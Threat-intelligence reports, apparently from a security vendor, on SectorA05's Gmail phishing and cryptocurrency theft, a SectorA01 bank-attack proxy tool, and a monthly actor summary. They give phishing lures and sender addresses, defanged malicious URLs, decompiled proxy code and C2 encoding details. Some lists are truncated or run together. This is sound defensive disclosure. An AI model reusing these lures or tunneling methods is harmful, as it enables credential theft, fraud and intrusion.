  • hxxps://drive[.]google[.]com/uc?export=download&id=1ocUSxHf_0jUjVMMbAQzwTJb0blUG0bYh
  • hxxps://drive[.]google[.]com/uc?export=download&id=1olByidca-8vkS-5jRKL9CirKPEP7waHm
  • hxxps://drive[.]google[.]com/uc?export=download&id=1RC5_9WWrfMMZKfu11OfIac5y2d5vRH1c
  • hxxps://drive[.]google[.]com/uc?export=download&id=1xCePTgAdwNIAN7MWOH_80aN_TZgn8uFv

Gmail Phishing attacks

SectorA05 conducted phishing attacks for each target user’s email service. They used phishing attacks on users who were using Korea’s leading e-mail services and Google’s Gmail service. Through these phishing attacks, they wanted to get the password of the target user account. Here’s a look at some examples of Gmail phishing attacks.

The following screenshot shows phishing emails disguised as being sent from Gmail’s security team. It is actually sent to a specific target user by a hacker in SectorA05. It requests the target user to protect their email account because there was some unusual activity which does not seem to have been performed by the target user – if the link is clicked, the target user is directed to the phishing login site where the target user’s password will be transferred to the attacker’s server if they enter their password and “protect” their account.

[Examples of Gmail phishing mail]

SectorA05 has been using phishing attacks for many years. The phishing email information they used are as follows.

A. Phishing Mail Sender Email Address

They created email addresses that confused victims by using security-related keywords such as protect, privacy, and security.

  • acc[.]signnin[.]send@gmail[.]com
  • countine[.]protector[.]mail@gmail[.]com
  • n0[.]reaply[.]moster@gmail[.]com
  • no[.]raply[.]letservice@gmail[.]com
  • no[.]repiy[.]acc[.]notice@gmail[.]com
  • noreaply[.]securiity@gmail[.]com
  • noreply[.]centre[.]team@gmail[.]com
  • privacy[.]protect[.]team@gmail[.]com
  • protect[.]password[.]teams@gmail[.]com
  • protect[.]privacy[.]accounnt@gmail[.]com
  • protector[.]privacy[.]master@gmail[.]com

B. Phishing Mail Subject

Phishing email subject lines used were primarily focused on email security – sending emails in the subject related to topics such as email hijackings, login attempts, security status, recovery emails, and password resetting, to convince victims to verify account information.

  • “[경고] 구글은 귀하의 비밀번호를 이용해 계정에 접근하려는 수상한 로그인 시도를 차단했습니다.”
  • “[경고] 누군가가 내 계정에 접근하려는 로그인 시도를 차단했습니다. 즉시 보호상태를 확인하세요.”
  • “[경고] 누군가가 내 비밀번호를 이용해 계정에 접근하려는 시도가 있었습니다”
  • “[중요] 누군가가 내 계정에 접근하려는 시도를 차단했습니다.”
  • “[중요] 즉시 보안상태를 확인하세요.”
  • “누군가가 내 이메일 주소를 복구 이메일로 추가했습니다”
  • “비밀번호 재설정 요청이 접수되었습니다.”
  • “연결된 Google 계정 관련 보안 경고”

The next part is translated into English.

  • “[WARNING] Google has blocked suspicious sign-in attempts to access your account using your password.”
  • “[WARNING] Someone has blocked sign-in attempts to access your account. Please check the protection immediately.”
  • “[WARNING] Someone tried to access your account using my password”
  • “[IMPORTANT] Someone has blocked an attempt to access your account.”
  • “[IMPORTANT] Check your security status immediately.”
  • “Someone added my email address as a recovery email”
  • “Your password reset request has been received.”
  • “Security warnings associated with linked Google Accounts”

C. Phishing Server Domain Address

The sub-domain name of the phishing page was also made to try to confuse the target user by using names similar to the target user’s email provider, such as using “qooqle” instead of “google”.

  • hxxp://acount-qooqle[.]pe[.]hu
  • hxxp://myacccounts-goggle[.]hol[.]es
  • hxxp://myaccounnts-goggle[.] esy[.]es
  • hxxp://qqoqle-centering[.]

Domains used as phishing servers were used not only for phishing but also for servers that distributed malware and servers that collected information from the victims.


In January 2019, the malware distributed to the reporters downloaded files which obtained C2 information from Google Drive. The hacker’s Google Drive account is “countine[.]protector[.]mail@gmail[.]com”. This email account was also used for Gmail phishing attacks in September 2017 which asked for a password reset. This is an example of one of the Gmail accounts they create and use for both phishing and hosting Google Drive malware content.

Building a nest in “Agora”

“Agora” was an open meeting place in ancient Greek cities. In one of South Korea’s famous portal sites, the name “Agora” was used as an online space for articles and public discussion. A similar site called “Agora 2.0” was created to mimic this but had been neglected for a long time. The site has a domain called “ago2[.]co[.]kr” and has a Japanese IP address.

[Description of the site ‘Agora 2.0’]

SectorA05 hacked the “ago2[.]co[.]kr” server and used it as a C2 server. In January 2019, malware distributed to the reporters used “ago2[.]co[.]kr” as one of the C2 servers. As we continued investigating, we found that the server has been used as a malicious C2 server for at least 27 months. For example, the malware hash “2a25d42130837560fcff1e1e19264f05784bf9e9db6464afb15d7e26f7f4a433” used “ago2[.]co[.]kr” as a C2 server in “Operation Kitty Phishing” in November 4th, 2016.

Thus, they have built an illegitimate nest at “ago2[.]co[.]kr” and have used it as C2 for more than 27 months since at least 2016. In 2017 and 2018, malware from SectorA05 was still using that domain as a C2 server.

The Constant XOR Table

SectorA05 uploads encrypted malware to their C2 server, and the existing malware decrypts it with a XOR Table and then executes it. As we tracked usage of this XOR Table, we confirmed that malware using the same XOR table was used for the attack in June 2017. There are two kinds of XOR tables used as follows.

[January 7, 2019 XOR Decode function used in malware against reporters]

“Case A” refers to the group of malware samples used to attack the reporters, and this XOR Table was already in use in 2017.

Case HASH (SHA256) Timestamp (UTC+9) XOR Table
  f070768ba2d0091b66e2a15726e77165f64ec976e9930425009da79c7aa081ac 2017-06-02 10:09:19 051BC852ED4D1E4BD44030D6BF3187D056C1BE63947D08B00FE0F2E84BC8AB82
A 7603be6e20fdf1338f5de8660b866a7dcb87f1468d139930d9afcba7f3acabb4 2018-12-26 01:40:20
  8573d9008cca956a8f8b9a46ed7880b471435327e8e0ea42b2e143b410a99d7b 2017-07-15 11:23:06B20A82932F459278D44058ADBF3113FB56C1D749947D0FE00FE0ABC84BC8A02B
A fce7a02f4ca7bdab7fdb8168a2478e5897f6f31e3b53d36378033f6ba72ddc29 2018-12-10 06:55:36
A 48ba9d01f1fba5421e8bfbdd384a3849916bbd3e7930557f7d8f92f27cceb5fe2018-12-10 06:55:27
A 12ee511259f7f03e8472efa8baf3e250b64f8da65fe71212cedfdac887f503f42019-01-07 16:28:29
A 55e69e1337af0d93b5a3742d999bf805177c404e7e60e48f303509592ecd0e292019-01-07 16:41:09

Here, Kitty, Kitty!

After initial infection, SectorA05 performs reconnaissance first, such as taking the entire file list of the target user. If the target user has important information related to the Korean government or information related to cryptocurrency, they send additional malware and continuously monitor and collect information.

Additional malware we collected includes screen capture, keylogger, and Chrome Browser Password Stealer.

A. Screen Capture Module

This module periodically captures the victim screen, compresses it, and then sends it to a specific folder on the C2 server. An example of the file name to be transmitted is “[MAC Address]_imgscr_20190124_235450161”.

(SHA256 : 98e1cc1b96b420ece848a2b43a0c1ae0b5f9356a11227fca181ada95435d2c63)

[Code to capture screen]

B. Keylogger Module

This module periodically sends user’s keystrokes together with the window name of the program keystrokes were entered into to the hacker.

(SHA256 : 71841a1b5ee1b383a9282bf513723b7f1713a0e1ee501db38d64c2db9ba08ec4)

[Code to store the victim’s keyboard input value]
[Keylogging information sent to the C2 server]

C. Chrome Browser Password Stealer Module

This module steals information from the Chrome Browser and sees the value of the cookie and login data file in the “\AppData\Local\Google\Chrome\User Data\Default\”.

(SHA256 : 08ac5048e86d368eea55d55781659dc54070debc9d117ed0a5ca8edd499fe1f8)

[Code to steal cookies from Chrome Browser]

In some cases, by identifying the user name of the victim PC during the initial infection, the additional malware sent is compiled on a per victim basis. For example, the malware might make use of a fixed username and only steal information related to that specific user.

[Code to steal the login data of CEO user’s Chrome Browser]

Stealing Coins – a personal purpose or a nation state goal?

As we watched SectorA05’s theft activity, we realized that they divided their targets into two classes. The purpose of targeting the first target class was to steal information from South Korean government officials and the purpose of targeting the second target class was to steal cryptocurrency. SectorA05 is an organization that traditionally seeks to seize confidential information from South Korea and neighboring countries. In recent years, however, we found that they are spending a lot of time trying to steal cryptocurrency as well.

We wonder whether SectorA05 is expanding its official role from spying to also including stealing cryptocurrencies, or whether some of SectorA05 staff are deviating from their official interests.

In any case, they continued to actively steal cryptocurrency-related coins from both classes. Their goals are employees of cryptocurrency exchanges, normal users of cryptocurrency, and cryptocurrency-related developers.

They searched the victim’s directory for the cryptocurrency wallet and private key as follows:

[Navigate the file path where the cryptocurrency wallet and private key are stored]

Then, in order to take the control of the cryptocurrency wallet and corresponding private keys stored in the file path, additional malware (“59203b2253e5a53a146c583ac1ab8dcf78f8b9410dee30d8275f1d228975940e”) which compresses the files in the file path is distributed to the target users.

We see that they are responsible for monitoring and managing additional post-infection actions such as manually compiling and distributing additional malware to collect files.

[Malware that compresses files in a path with a wallet and a private key]

They also stole the Ethereum Keystore file issued by MyEtherWallet.

Thus, they are not only interested in confidential information of the government but also in stealing cryptocurrencies.

Kitty? Why? Who?

During the course of constantly tracking SectorA05, we found a management script that they use to manage victims. In the script file itself, they referred to their victims as “Kitty”. We decided to call their operation name “Operation Kitty Phishing”.

[Administrative scripts that an attacker manages victims]

They never stop working

We were surprised at their endless hacking activities as we track them down. They spread phishing e-mails to target users without rest, and their malware continued to spread. Even after distributing malware to reporters covering the Unification Ministry in early January 2019, they then distributed malware to potential users of cryptocurrency.

In addition, if the infected victim’s PCs were scanned and files related to cryptocurrency were found, malware would be compiled and distributed to individual users. The malware hash “f483d5051f39d1b08613479ccbc81423a15bfe5c5fb5a7792d4307a8af4e4586” is an example of a malware compiled and created solely for a single user. As the user name of the victim PC is exposed, the malware for stealing cryptocurrency is tailored for the individual user and distributed in real time.

[Steal a specific file from the victim’s PC username folder]

After they sent malware to the reporters, they continued to use the following URLs containing malware.

  • hxxp://safe-naver-mail[.]pe[.]hu/Est/down/AlyacMonitor64
  • hxxp://safe-naver-mail[.]pe[.]hu/Est/down/cookie.a
  • hxxp://safe-naver-mail[.]pe[.]hu/Est/down/2.a
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]


We have been constantly tracking “Operation Kitty Phishing” activity of SectorA05, which is targeting key government officials, cryptocurrency exchanges, and users in South Korea. We were amazed that their activities are older and last longer than we thought.

It was very difficult initially to judge whether the organization conducting email account phishing and the organization distributing malware were part of the same organization, but after tracking them over a long period, we can say with high confidence that they are both part of SectorA05 and are running both operations simultaneously.

While we write this article, they are continuing their malicious activities. We will still keep track of them. Therefore, if new activity is confirmed, our ThreatRecon Team will continue reporting on our findings.

Indicators of Compromise (IoCs)

Hashes (SHA-256)

028abdf89dc34088c2935e972a97f2d1249efe100f6282979d1771121c45101c 03cd82887b032ce2968bb739d13e1dd0ce3683df5bc1b87edc6872ddcd1dc625







MITRE ATT&CK Techniques

The following is a MITRE ATT&CK matrix that applied the “Operation Kitty Phishing” of the SectorA05 group.

Initial Access

Spearphishing Attachment
Spearphishing Link
Valid Accounts


Command-Line Interface
Execution through API
Execution through Module Load
Exploitation for Client Execution
Graphical User Interface
Third-party Software
User Execution


Registry Run Keys / Startup Folder
Valid Accounts

Privilege Escalation

Process Injection
Valid Accounts

Defense Evasion

Deobfuscate/Decode Files or Information
File Deletion
Obfuscated Files or Information
Process Injection
Valid Accounts
Web Service

Credential Access

Credential Dumping
Credentials in Files
Input Capture
Private Keys


Application Window Discovery
File and Directory Discovery
Process Discovery
Query Registry
System Information Discovery
System Owner/User Discovery

Lateral Movement



Automated Collection
Data from Local System
Data from Network Shared Drive
Data from Removable Media
Email Collection
Input Capture
Screen Capture


Automated Exfiltration
Data Compressed
Exfiltration Over Command and Control Channel
Scheduled Transfer

Command And Control

Commonly Used Port
Data Encoding
Multi-Stage Channels
Remote Access Tools
Standard Application Layer Protocol
Web Service

SectorA01 Custom Proxy Utility Tool Analysis


SectorA01 is one of the most infamous state sponsored threat actor groups globally and is unique in the sense that it is one of the only state sponsored groups with large interests in financial crime. So with the continued interest into SectorA01’s financial crime activities due to the recent potential misattribution of the Ryuk ransomware [1], we decided to perform an analysis into one of the tools – a proxy utility executable – used exclusively by SectorA01 that recently caught our attention again.

Interestingly, in the Hidden Cobra FASTCash report by the US-CERT [2] in October last year, there were two versions of a “Themida packed proxy service module” (i.e. x32 and x64 versions). Our analysis of those modules showed code reuse of critical functions with the sample we are analyzing in this post, leading us to think that those samples might be an evolution of this sample.

SectorA01 Proxy Utility

SectorA01 uses a variety of tools for different purposes, but one common custom tool used in the attacks targeting the Polish banks in 2016-2017 [3], a Taiwanese Bank in 2017 [4], and Vietnamese banks in 2018 [5] is one of their custom proxy utility executables.

The latest unique sample of this proxy utility we could find was on December 10th, 2018 from Canada. This leads us to one of a few possible theories that Canadian bank(s) may have been one of the many unreported or reported [6] targets during the time period of the attack on the Taiwanese bank based on the compilation timestamps.

As we can see from the FASTCash proxy samples below, at least one of their developers compiles the 64-bit sample immediately after compiling the 32-bit sample – behavior very normal for developers when compiling for multiple systems. The same thing can be seen for the two samples on 20 Feb 2017, and so in fact instead of calling them samples targeting a Taiwanese bank and potentially a Canadian bank, it may be more accurate to call it just one of the many pairs of 32-bit and 64-bit proxy samples produced by the group.

A proxy was also used against an unnamed Southeast Asian bank [7] which appears to be an older version of the proxy, and against an Indian bank [8] which appears to be a newer version of the proxy based our code analysis from samples in the US-CERT FASTCash report.

But despite the similarities, however, we are unable to definitively state that these samples were earlier (unnamed Southeast Asian bank) or later (FASTCash attack, such as against the Indian bank) versions of the proxy. After all, SectorA01 has more than one proxy tool in its arsenal, such as the proxy used together with their TYPEFRAME trojan [9] which has a separate code base.

DescriptionCompilation Timestamp
Attack on unnamed SEA bank (old version)17 Sep 2014 16:59:33
Attack on several Polish banks (variant)24 Aug 2015 10:21:52
Attack on Vietnamese banks (variant)2 May 2016 03:24:39
Attack on a Taiwanese Bank (32-bit) (variant)20 Feb 2017 11:09:30
Sample Discovered from Canada (64-bit) (sample analyzed)20 Feb 2017 11:09:41
FASTCash (32-bit) (new version)14 Aug 2017 17:14:04
FASTCash (64-bit) (new version)14 Aug 2017 17:14:12

Sample Background

This executable is a custom tunneling proxy utility tool in SectorA01’s toolkit. It can be used as either a tunneling proxy server to forward traffic to another destination, or as a tunneling proxy client which requests another infected tunneling proxy server to perform requests.

Besides being used as one of several ordinary proxy servers in a chain of servers to hide the source of attacks, against one example banking target from India in the FASTCash attacks, “a proxy server was created and transactions authorized by the fake or proxy server”. In this scenario, the proxy utility seems to be not used just as a secondary helper utility, but as the primary attack malware.

SectorA01 normally packs these samples with either the Themida or Enigma Protector, but in this blog post we will only be showing the analysis of the unpacked sample.

Process Arguments

This utility requires a single process argument in order for it to run. It attempts to decode the argument and only continues its execution path if the decoded argument match the format it is expecting.

The argument is delimited by the “|” symbol, and the utility decodes up to four tokens with each token being decoded individually. The first is required and used as the primary C2 server (malware acting as tunneling proxy server) or as the URL to be requested (malware acting as tunneling proxy client), the optional second token is used as the proxy target information, the optional third token is used as proxy server information, and the optional fourth token is an optional proxy username and password.

Each deobfuscated token is separated by a colon “:”, which is used as the deobfuscated process arguments delimiter.

int __stdcall WinMain_0(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){ //deobfuscate process arguments here deobfuscation_complete: if ( strlen(deobfuscated_c2_1) != 0 && strchr(deobfuscated_c2_1, “:”) ){ … } return 0; }

The decoding algorithm makes use of a rotating character in an eight character string “cEzQfoPw” and the loop index to ensure that every deobfuscated character at a different index comes from a different two obfuscated characters.

We recreated this deobfuscation algorithm and created an obfuscation algorithm, which allowed us to forge our own process arguments. An example of a process argument which uses all four tokens could be “!y$t$A$s!z$S$e$U$Q$Y$1$W$U!}$d|!y#z$A$s!z$S$o$1$5$t$A$e$U!x|!y#{!}$Z$C$R$o$1$P#}$8$a!y!y|!00X!B0]0D!8#z$2$R0d$0$b!w!20c!70B0d”.

Example TokenDecoded C2 InformationUsage
!y$t$A$s!z$S$e$U$Q$Y$1$W$U!}$d Server (1-2 arguments)
Proxy Target (3-4 arguments)
!y#z$A$s!z$S$o$1$5$t$A$e$U!x172.16.1.1:443Proxy Target (2 arguments only)
!y#{!}$Z$C$R$o$1$P#}$8$a!y!y10.1.1.12:8080Proxy Server (3-4 arguments)
!00X!B0]0D!8#z$2$R0d$0$b!w!20c!70B0dsector%20a01:proxyProxy Authentication (4 arguments only)

Note that since the algorithm transforms every two encoded characters into one decoded character based on its character index, there are many possible two characters which will result in the same character, and finally countless different strings which would decode to a single string.

C2 Communication

The algorithm used for C2 communications is more straightforward – a combination of ADD/XOR repeatedly from each character in a hard coded 20 character byte array “{47 B0 62 0E 69 F3 22 8D 65 40 BF 39 24 A6 C3 BB 8E 68 EB B5}” is used for decoding, and the opposite XOR/SUB repeatedly from the reversed byte array is used for encoding. The algorithm restarts for each character without context, so it essentially ends up being a character substitution table.

There are eight commands to communicate with the C2 server, encoded by either the C2 server or the proxy client then decoded by the other side. These commands are in the Russian language but as other researchers have pointed out in the past, is simply a false flag.

In fact, in one of the analyzed malware used against an unnamed Southeast Asian bank, we see that what appears to be a much earlier versions of the proxy having seven numeric-only control codes while this sample has eight Russian language control codes, with the control codes in both samples having almost the same meaning.

OperationDescriptionHex Values over the Network
kliyent2podklyuchitMalware thread created notification (client)d1 14 23 b3 c7 b2 ac fe 70 0d 1c d1 14 b3 d7 f9 38 23 ac
NachaloClient has started (client)92 ab f9 38 ab 14 0d
ssylkaTunneling proxy server has started (client)c9 c9 b3 14 d1 ab
poluchitGet proxy target information (server)70 0d 14 d7 f9 38 23 ac
ustanavlivatSet proxy target information (server)d7 c9 ac ab b2 ab 2a 14 23 2a ab ac
pereslatStart a new tunneling proxy server session in new thread (server)70 c7 be c7 c9 14 ab ac
derzhatMaintain connection (server)1c c7 be b6 38 ab ac
vykhoditExit (server) / Client has exited (client)2a b3 d1 38 0d 1c 23 ac

Tunneling Proxy Server

When this utility acts as a tunneling proxy server, it directly uses Windows Sockets 2 (“WS2_32”) to achieve their rudimentary proxy.

signed __int64 __fastcall c2_ssylka(LPVOID lpThreadParameter){ SOCKET c2Socket = begin_c2(“ssylka”); … SOCKET targetProxySocket = retrieveProxySocket(); … start_tunnel_proxy_server(c2Socket, targetProxySocket); … } signed int __fastcall start_tunnel_proxy_server(SOCKET c2Socket, SOCKET targetProxySocket){ … numBytesReceived = recv(c2Socket, &dataToProxy, 0x2000, 0); … numBytesReceived = send(targetProxySocket, &dataToProxy, numBytesReceived, 0); … }

Tunneling Proxy Client

When this utility acts as a tunneling proxy client, it utilizes the more powerful embedded libcurl library (version 7.49.1 for this sample, but not always the case) to command other infected tunneling proxy servers.

__int64 __fastcall connect_to_proxy(__int64 fixedFunctionAddress, __int64 proxyTarget){ … curl_setopt(handle, CURLOPT_URL, proxyTarget); … curl_setopt(handle, CURLOPT_PROXY, fixedFunctionAddress + 16); //refers to deobfuscated proxy server information … curl_setopt(handle, CURLOPT_HTTPPROXYTUNNEL, 1); … if ( strlen((fixedFunctionAddress + 278)) != ) //if deobfuscated argument 4 is not empty curl_setopt(handle, CURLOPT_PROXYUSERPWD); //curl_setopt argument 3 = deobfuscated process argument 4, which is not detected by decompiler … } … }

The CURLOPT_HTTPPROXYTUNNEL code causes the client to starts by using HTTP CONNECT to the proxy server in order to request it to forward traffic to the proxy target.

>Internet Protocol Version 4, Src: x.x.x.x, Dst: >Transmission Control Protocol, Src Port: xxxxx, Dst Port: 8080, Seq: 1, Ack: 1, Len: 59 >Hypertext Transfer Protocol >CONNECT HTTP/1.1\r\n >[Expert Info (Chat/Sequence): CONNECT HTTP/1.1\r\n] Request Method: CONNECT Request URI: Request Version: HTTP/1.1 Host:\r\n

The FASTCash Connection

In October last year, the US-CERT reported about the “FASTCash” campaign by SectorA01, which was essentially an ATM cash-out scheme whereby SectorA01 remotely compromised bank payment switch applications to simultaneously physically withdraw from ATMs in many countries and steal millions of dollars.

Some of the artifacts used in the campaign included proxy modules, a RAT, and an installer application. When we performed a preliminary analysis and compared the FASTCash proxy module to the proxy module analyzed in this post, we found algorithmic similarities between the decoding/encoding functions, the process argument deobfuscation function, and the proxy function.

However, the FASTCash proxy module also had more functions in them with new capabilities as described briefly in the US-CERT FASTCash Malware Analysis Report [10]. Additionally, our own analysis showed that they have also updated the use of amateur-ish strings which were previously easily detectable from memory and obviously malicious, to now hiding or removing those custom strings. This is their normal behavior as it has been known that they are constantly modifying their own source code, and these similarities and developments leads us to think that the FASTCash proxy module might be an evolution of their previous proxy module.


Attribution is a complex and controversial topic, but regardless, correctly attributing a threat to a particular threat group is a far easier task than correctly attributing the threat to or being linked to a particular nation state. Given even a single piece of complex enough custom malware believed to be in possession by only a single group and context behind the attack, it is possible to have some degree of confidence of which group was behind the attack.

But even custom malware source code can get stolen, the executable itself repackaged, or the functions recreated. In a simpler scenario, false flags such as strings and metadata could also be placed.

Regarding the initial attribution of the Ryuk ransomware, however, while others have focused on the misattribution, our view is that even if it was correct it would simply have been a lucky guess. Basing attribution solely on the usage of a single privately purchasable malware is fundamentally flawed, and the simple truth is that no organization in the world would be able to track every piece of malware to know what is being sold in the dark and deep web anyway.

That is why in order to have a higher degree of confidence of who is behind an attack, the entirety of the threat’s tactics, techniques, and procedures (TTPs) need to be analyzed across multiple events using both trusted public and vetted private sources.

SectorA01 shows no signs of stopping their attacks against financial sectors worldwide and although they have been constantly modifying their code protectors, functions, and algorithms, there will be traces of similarities across different versions of their tools. Our Threat Recon Team will continue tracking such events and malware and report on our findings.

Unpacked Sample (SHA-256)


Memory Dump Samples from US-CERT FASTCash Report (SHA-256)



Packed Sample from Polish banks attack (SHA-256)


Sample from Taiwanese bank attack (SHA-256)


Sample from Vietnamese banks attack (SHA-256)


Attack on Unnamed SEA Bank (“TCP Tunnel Tool”) (SHA-256)



[1] Ryuk Ransomware Attack: Rush to Attribution Misses the Point
[2] HIDDEN COBRA – FASTCash Campaign
[3] Włamania do kilku banków skutkiem poważnego ataku na polski sektor finansowy
[5] High alert against malicious code attacks in Vietnam
[6] BMO and CIBC-owned Simplii Financial reveal hacks of customer data
[8] North Korean connection to Cosmos hacking? Signs point to Bangladesh heist masterminds
[9] MAR-10135536-12 – North Korean Trojan: TYPEFRAME
[10] MAR-10201537 – HIDDEN COBRA FASTCash-Related Malware

Monthly Threat Actor Groups Intelligence Report, December 2018

This is a summary of activity of suspected state sponsored Threat Actor Groups analyzed by the Threat Recon Team, based on data and information collected from November 21 to December 20, 2018.

1. SectorA Activity Features

A total of four hacking groups were found to be active within SectorA.

Among this detected activity, SectorA05 activity was relatively more intense than others and all SectorA05 activity was highly related to political hacking aimed at South Korea.

There are two main purposes of hacking by SectorA for the month, which can be distinguished by activity aimed at Korea and activity aimed at other countries.

The first is hacking activity targeting financial institutions overseas, and virtual currency exchanges and individual traders in South Korea. This is used to overcome financial and economic sanctions that are currently ongoing against SectorA. The second is hacking activity related to the more traditional espionage aimed at stealing information related to South Korea’s political and diplomatic activities.

Although malware and hacking techniques used by SectorA differ depending on the target, SectorA consistently targets individuals who belong to target organizations by utilizing Spear Phishing with malicious documents attached.

One of their strategies, using Cloud services as their C2 server for hacking activities, is used against both overseas and South Korean targets.

Another strategy, utilizing malware in the form of document reader files, differs depending on the target – overseas targets receive traditional Microsoft Office files, while South Korean targets will receive Hangeul Word Processor (HWP) files regardless of whether they live in South Korea or overseas.

2. SectorB Activity Features

SectorB targets countries from various regions around the world, and a total of four hacking groups activity were found to be active.

Targets were found in the Oceania region including Australia, the European region including the United Kingdom, and the East Asian region including South Korea.

Among this detected activity, some malware that had been used in the past was modified, or malware produced based on open source code was used for hacking activities.

Like before, hacking activity targeted at South Korea utilized Spear Phishing, which included Microsoft Word files containing Macros, and our analysis of the malware used shows that this campaign started in early 2018. In addition, SectorB targets started to include South Korean financial companies.

3. SectorC Activity Features

A total of three hacking groups activity were found to be active within SectorC.

Among this detected activity, SectorC01 activity was relatively more intense than others and SectorC activity was found to be aimed at South Europe including Spain, East Asia including Japan, and Eastern Europe including Ukraine and Poland.

Although hacking activities by SectorC groups around the world were conducted mainly to obtain information related to government agencies, they seem to be targeting Eastern Europe for other purposes based on the characteristics of their malware. SectorC still uses Spear Phishing with code execution vulnerabilities in Microsoft Word files or Microsoft Word files with macros for the initial infection in order to drop variants of their usual malware, although this time they have also included variants written in a different programming language. In addition, SectorC sometimes used only script and normal utility files for attacks on Eastern Europe.

4. SectorD Activity Features

A total of four hacking groups were found to be active within SectorD, and targets were concentrated in Middle Eastern countries, including Lebanon, Oman, Jordan, Saudi Arabia, Turkey, Iraq and Israel.

In addition to the use of Phishing websites, there were also cases where Spear Phishing was used with malware in the form of Microsoft Word files containing macros.

Although SectorD groups mainly utilize script-based malware, there were cases of hacking activities targeted at energy companies in Italy with ties to the Middle East which had reused the Wiper malware which was used in the past to disrupt normal system operations.

5. SectorE Activity Features

A total of three hacking groups activity were found to be active within SectorE, and targets were along the Central Asia region, which includes Pakistan, a political rival of SectorE, as well as Chinese companies.

The hacking activities of the SectorE took advantage of vulnerabilities in Microsoft Office, or Spear Phishing involving file-based malware that exploited vulnerabilities in InPage software, along with malware in the form of Word or Excel files containing macros.

In addition, the execution of malware is structured so that the download function is executed in the first step, and the next steps only work if the first one succeeded, reducing exposure to the outside as much as possible. However, as their malware, C2 IPs and C2 Domains were found to have some overlapping characteristics, it can be seen that SectorE groups share various hacking and malware production techniques.

6. SectorF Activity Features

SectorF activities were discovered targeting East Asia, including China and Japan.

They primarily utilizing Spear Phishing, attaching Microsoft Word files containing macros to emails.

While some of the code used in their malware was found to have been produced based on open source code used for penetration testing, others were found to be variants of their custom malware.

The full report detailing each event together with IOCs and recommendations is available to existing NSHC Threat Recon customers.